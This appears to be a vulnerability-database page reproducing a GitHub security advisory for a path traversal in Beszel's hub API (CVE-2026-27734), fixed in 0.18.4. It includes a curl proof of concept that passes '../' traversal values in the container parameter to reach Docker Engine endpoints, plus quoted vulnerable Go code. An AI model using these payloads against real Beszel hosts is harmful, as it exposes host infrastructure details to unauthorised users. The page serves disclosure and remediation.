GHSA-PHWH-4F42-GWF3

Vulnerability from github – Published: 2026-02-27 21:01 – Updated: 2026-02-27 22:20
VLAI?
Summary
Beszel: Docker API has a Path Traversal Vulnerability via Unsanitized Container ID
Details

Summary

The hub's authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied "container" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go's http.Client does not sanitize ../ sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details.

Details

Hub (internal/hub/hub.go:407-426): containerID from query param is only checked for emptiness, no format validation:

containerID := e.Request.URL.Query().Get("container")
if systemID == "" || containerID == "" { ... }
data, err := fetchFunc(system, containerID)  // passed directly to agent

Agent (agent/docker.go:651-652 and 682-683): raw containerID interpolated into Docker API URL:

endpoint := fmt.Sprintf("http://localhost/containers/%s/json", containerID)
endpoint := fmt.Sprintf("http://localhost/containers/%s/logs?stdout=1&stderr=1&tail=%d", containerID, dockerLogsTail)

Go's http.Client preserves ../ in paths over unix sockets (verified with test code). The Docker daemon resolves them via cleanPath, routing the request to unintended API endpoints.

PoC

Tested on Beszel v0.18.3 with hub and agent running in Docker (host network mode).

# Authenticate
TOKEN=$(curl -s -X POST "http://localhost:8090/api/collections/users/auth-with-password" \
  -H "Content-Type: application/json" \
  -d '{"identity":"user@example.com","password":"password"}' | jq -r '.token')

SYSTEM="<system_id>"

# Path traversal: Docker version (returns full engine version, kernel, Go version)
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../version?x=" \
  -H "Authorization: Bearer $TOKEN"

# Path traversal: Docker system info (returns hostname, OS, container count, network config)
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../info?x=" \
  -H "Authorization: Bearer $TOKEN"

# Path traversal: List all images (triggers unmarshal error confirming traversal works)
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../images/json?x=" \
  -H "Authorization: Bearer $TOKEN"

All three requests returned real data from the Docker Engine API on the agent host.

Impact

Any authenticated user (including readonly role) can read arbitrary Docker Engine API GET endpoints on all connected agent hosts. Exposed information includes: hostname, OS version, kernel version, Docker version, container inventory, image list, network topology, storage driver configuration, and security options. This is a privilege escalation, readonly users should not have access to host-level infrastructure details.

Researcher

Sergio Cabrera https://www.linkedin.com/in/sergio-cabrera-878766239/

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.18.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/henrygd/beszel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.18.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27734"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-27T21:01:05Z",
    "nvd_published_at": "2026-02-27T20:21:38Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe hub\u0027s authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied \"container\" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go\u0027s http.Client does not sanitize ../ sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details.\n\n### Details\n\n**Hub** (internal/hub/hub.go:407-426): `containerID` from query param is only checked for emptiness, no format validation:\n```go\ncontainerID := e.Request.URL.Query().Get(\"container\")\nif systemID == \"\" || containerID == \"\" { ... }\ndata, err := fetchFunc(system, containerID)  // passed directly to agent\n```\n\n**Agent** (agent/docker.go:651-652 and 682-683): raw containerID interpolated into Docker API URL:\n```go\nendpoint := fmt.Sprintf(\"http://localhost/containers/%s/json\", containerID)\nendpoint := fmt.Sprintf(\"http://localhost/containers/%s/logs?stdout=1\u0026stderr=1\u0026tail=%d\", containerID, dockerLogsTail)\n```\n\nGo\u0027s http.Client preserves `../` in paths over unix sockets (verified with test code). The Docker daemon resolves them via cleanPath, routing the request to unintended API endpoints.\n\n### PoC\n\nTested on Beszel v0.18.3 with hub and agent running in Docker (host network mode).\n```bash\n# Authenticate\nTOKEN=$(curl -s -X POST \"http://localhost:8090/api/collections/users/auth-with-password\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"identity\":\"user@example.com\",\"password\":\"password\"}\u0027 | jq -r \u0027.token\u0027)\n\nSYSTEM=\"\u003csystem_id\u003e\"\n\n# Path traversal: Docker version (returns full engine version, kernel, Go version)\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM\u0026container=../../version?x=\" \\\n  -H \"Authorization: Bearer $TOKEN\"\n\n# Path traversal: Docker system info (returns hostname, OS, container count, network config)\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM\u0026container=../../info?x=\" \\\n  -H \"Authorization: Bearer $TOKEN\"\n\n# Path traversal: List all images (triggers unmarshal error confirming traversal works)\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM\u0026container=../images/json?x=\" \\\n  -H \"Authorization: Bearer $TOKEN\"\n```\n\nAll three requests returned real data from the Docker Engine API on the agent host.\n\n### Impact\n\nAny authenticated user (including readonly role) can read arbitrary Docker Engine API GET endpoints on all connected agent hosts. Exposed information includes: hostname, OS version, kernel version, Docker version, container inventory, image list, network topology, storage driver configuration, and security options. This is a privilege escalation, readonly users should not have access to host-level infrastructure details.\n\n## Researcher\n\nSergio Cabrera\nhttps://www.linkedin.com/in/sergio-cabrera-878766239/",
  "id": "GHSA-phwh-4f42-gwf3",
  "modified": "2026-02-27T22:20:39Z",
  "published": "2026-02-27T21:01:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/henrygd/beszel/security/advisories/GHSA-phwh-4f42-gwf3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27734"
    },
    {
      "type": "WEB",
      "url": "https://github.com/henrygd/beszel/commit/311095cfddda113863ca9656cf9e99411be1cef5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/henrygd/beszel"
    },
    {
      "type": "WEB",
      "url": "https://github.com/henrygd/beszel/releases/tag/v0.18.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Beszel: Docker API has a Path Traversal Vulnerability via Unsanitized Container ID"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…